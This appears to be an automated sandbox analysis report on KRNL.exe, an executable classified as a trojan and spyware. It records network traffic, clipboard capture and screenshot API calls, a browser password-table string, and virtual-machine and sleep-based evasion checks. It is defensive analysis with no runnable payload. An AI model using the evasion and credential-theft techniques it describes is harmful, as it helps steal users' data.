Source: KRNL.exe, 00000002.00000003.1712222118.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: KRNL.exe, 00000002.00000003.1738159372.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: KRNL.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: KRNL.exe, 00000002.00000003.1738159372.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptc;
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: KRNL.exe, 00000002.00000003.1737899780.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: KRNL.exe, 00000002.00000003.1737899780.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: KRNL.exe, 00000002.00000003.1737899780.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: KRNL.exe, 00000002.00000003.1737899780.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: KRNL.exe, 00000002.00000003.1737899780.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: C:\Users\user\Desktop\KRNL.exe

Code function: 2_2_004322E0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

2_2_004322E0

Source: C:\Users\user\Desktop\KRNL.exe

Code function: 2_2_058A1000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

2_2_058A1000

Source: C:\Users\user\Desktop\KRNL.exe

Code function: 2_2_004322E0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

2_2_004322E0

Source: C:\Users\user\Desktop\KRNL.exe

Code function: 2_2_0043328C GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

2_2_0043328C

Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_006E1000	0_2_006E1000
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_006EF555	0_2_006EF555
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_00707792	0_2_00707792
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_00705C5E	0_2_00705C5E
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_006F9CC0	0_2_006F9CC0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_006F3FB2	0_2_006F3FB2
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0042C8D0	2_2_0042C8D0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0040A8B0	2_2_0040A8B0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043F150	2_2_0043F150
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00437960	2_2_00437960
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043B1D0	2_2_0043B1D0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00410247	2_2_00410247
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0040B262	2_2_0040B262
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043FB10	2_2_0043FB10
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00409C6F	2_2_00409C6F
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00437CF0	2_2_00437CF0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00421570	2_2_00421570
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00426520	2_2_00426520
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00423675	2_2_00423675
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0040C621	2_2_0040C621
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004116A0	2_2_004116A0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00424060	2_2_00424060
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043E820	2_2_0043E820
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0041602C	2_2_0041602C
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004190D1	2_2_004190D1
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004038F0	2_2_004038F0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004320B0	2_2_004320B0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043B940	2_2_0043B940
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00414161	2_2_00414161
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00418170	2_2_00418170
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00437170	2_2_00437170
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0041717B	2_2_0041717B
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00409100	2_2_00409100
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0041D900	2_2_0041D900
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043E920	2_2_0043E920
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00405930	2_2_00405930
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00419930	2_2_00419930
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043E9D0	2_2_0043E9D0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004151A9	2_2_004151A9
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0040E9B0	2_2_0040E9B0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004061B0	2_2_004061B0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004269B0	2_2_004269B0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043EA60	2_2_0043EA60
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00415A72	2_2_00415A72
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0042F211	2_2_0042F211
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0042822F	2_2_0042822F
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004082C0	2_2_004082C0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00425ACF	2_2_00425ACF
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00425ACF	2_2_00425ACF
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00425A90	2_2_00425A90
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004042A0	2_2_004042A0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0041CAA0	2_2_0041CAA0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0040EB3B	2_2_0040EB3B
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004373D0	2_2_004373D0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00404BE0	2_2_00404BE0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0041138A	2_2_0041138A
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0041E390	2_2_0041E390
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00423C40	2_2_00423C40
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043F450	2_2_0043F450
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0042CC5D	2_2_0042CC5D
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00430470	2_2_00430470
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00407410	2_2_00407410
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00427C29	2_2_00427C29
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00410C83	2_2_00410C83
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0042B48C	2_2_0042B48C
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004164A3	2_2_004164A3
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00427551	2_2_00427551
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00436569	2_2_00436569
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00409570	2_2_00409570
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0042BD77	2_2_0042BD77
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0040F529	2_2_0040F529
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0041DDC0	2_2_0041DDC0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0041ADD0	2_2_0041ADD0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0042F5D9	2_2_0042F5D9
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004285E1	2_2_004285E1
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00406640	2_2_00406640
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00438E40	2_2_00438E40
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043B650	2_2_0043B650
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00431E50	2_2_00431E50
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0042CE60	2_2_0042CE60
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043DE19	2_2_0043DE19
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00429630	2_2_00429630
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0042BE3B	2_2_0042BE3B
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00423EC0	2_2_00423EC0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004386C0	2_2_004386C0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00402ED0	2_2_00402ED0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00435ED3	2_2_00435ED3
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0042DEF1	2_2_0042DEF1
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0042BE9D	2_2_0042BE9D
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0042C8D0	2_2_0042C8D0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00416777	2_2_00416777
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043E710	2_2_0043E710
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0041B729	2_2_0041B729
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00438FD9	2_2_00438FD9
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043F780	2_2_0043F780
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004177AD	2_2_004177AD
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_006E1000	2_2_006E1000
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_006EF555	2_2_006EF555
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00707792	2_2_00707792
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00705C5E	2_2_00705C5E
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_006F9CC0	2_2_006F9CC0
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_006F3FB2	2_2_006F3FB2

Source: C:\Users\user\Desktop\KRNL.exe	Code function: String function: 006F80F8 appears 42 times
Source: C:\Users\user\Desktop\KRNL.exe	Code function: String function: 006F0730 appears 38 times
Source: C:\Users\user\Desktop\KRNL.exe	Code function: String function: 00413CD0 appears 75 times
Source: C:\Users\user\Desktop\KRNL.exe	Code function: String function: 006FCFD6 appears 40 times
Source: C:\Users\user\Desktop\KRNL.exe	Code function: String function: 00407FA0 appears 46 times
Source: C:\Users\user\Desktop\KRNL.exe	Code function: String function: 006EFA60 appears 100 times
Source: C:\Users\user\Desktop\KRNL.exe	Code function: String function: 006EFAE4 appears 34 times

Source: KRNL.exe

Static PE information: invalid certificate

Source: KRNL.exe, 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs KRNL.exe
Source: KRNL.exe, 00000000.00000002.1676084823.00000000043BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs KRNL.exe
Source: KRNL.exe, 00000002.00000000.1675548186.000000000076D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs KRNL.exe
Source: KRNL.exe, 00000002.00000003.1675825839.0000000004DBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs KRNL.exe
Source: KRNL.exe	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs KRNL.exe

Source: KRNL.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: KRNL.exe

Static PE information: Section: .bss ZLIB complexity 1.0003298756270902

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/1@12/2

Source: C:\Users\user\Desktop\KRNL.exe

Code function: 2_2_00437CF0 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_00437CF0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1136:120:WilError_03

Source: KRNL.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\KRNL.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: KRNL.exe, 00000002.00000003.1712400298.0000000005A45000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711739923.0000000005A77000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: KRNL.exe	Virustotal: Detection: 40%
Source: KRNL.exe	ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\KRNL.exe

File read: C:\Users\user\Desktop\KRNL.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\KRNL.exe "C:\Users\user\Desktop\KRNL.exe"
Source: C:\Users\user\Desktop\KRNL.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KRNL.exe	Process created: C:\Users\user\Desktop\KRNL.exe "C:\Users\user\Desktop\KRNL.exe"
Source: C:\Users\user\Desktop\KRNL.exe	Process created: C:\Users\user\Desktop\KRNL.exe "C:\Users\user\Desktop\KRNL.exe"	Jump to behavior

Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: KRNL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: KRNL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: KRNL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: KRNL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: KRNL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: KRNL.exe

Static PE information: real checksum: 0x8e247 should be: 0x97536

Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_006EFB83 push ecx; ret	0_2_006EFB96
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_004479FC push edi; retf	2_2_004479FD
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00447371 push 084300B2h; ret	2_2_0044739E
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00444D1C push eax; retf	2_2_00444D1E
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00447D95 pushad ; iretd	2_2_00447FDD
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043B5B0 push eax; mov dword ptr [esp], 31A531AAh	2_2_0043B5BE
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_0043E6B0 push eax; mov dword ptr [esp], 352E36E1h	2_2_0043E6B3
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00446F14 push ebp; ret	2_2_00446F15
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_006EFB83 push ecx; ret	2_2_006EFB96

Source: C:\Users\user\Desktop\KRNL.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\KRNL.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\KRNL.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\KRNL.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\KRNL.exe

Window / User API: threadDelayed 6702

Jump to behavior

Source: C:\Users\user\Desktop\KRNL.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-21459

Source: C:\Users\user\Desktop\KRNL.exe

API coverage: 9.4 %

Source: C:\Users\user\Desktop\KRNL.exe TID: 2492	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\KRNL.exe TID: 4944	Thread sleep count: 6702 > 30			Jump to behavior

Source: C:\Users\user\Desktop\KRNL.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\KRNL.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\KRNL.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\KRNL.exe	Code function: 0_2_00701FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00701FE9
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00701F38 FindFirstFileExW,	2_2_00701F38
Source: C:\Users\user\Desktop\KRNL.exe	Code function: 2_2_00701FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00701FE9

